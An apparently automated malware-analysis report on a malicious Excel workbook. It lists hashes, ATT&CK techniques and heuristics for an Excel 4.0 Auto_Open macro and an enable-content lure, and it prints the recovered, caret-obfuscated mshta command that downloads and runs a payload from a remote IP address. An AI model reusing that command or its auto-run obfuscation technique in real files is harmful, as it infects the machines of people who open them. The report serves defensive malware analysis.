Office (OLE) / .XLSX malware analysis — malicious · b83acb50575b7d50

MALICIOUS

Office (OLE) / .XLSX

62.4 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel

MD5: e7563948a805177671cee9d61ea59149 SHA-1: 0b7698ce6a13823de1a7c82e0c1d7263962292d9 SHA-256: b83acb50575b7d5099bbf5f0fd6489e8f4280c87b4ec18c27193a9d22b19c82d

100 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File T1059.005 Service Execution: Visual Basic T1105 Ingress Tool Transfer

The sample contains Excel 4.0 macros with an Auto_Open entry, indicating it will execute automatically when the workbook is opened. The macro attempts to download a payload from the reconstructed URL 'http://87.251.86.178/pp/oo.html' using the command 'cmd /c msh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html'. The document body also contains a lure to enable editing and content, which is a common tactic for macro-enabled malware.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `5b6a229f32f262b2c382f3c832a9f8a5e27f96ac7637e45dc67edc9bb251f152`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1514 bytes

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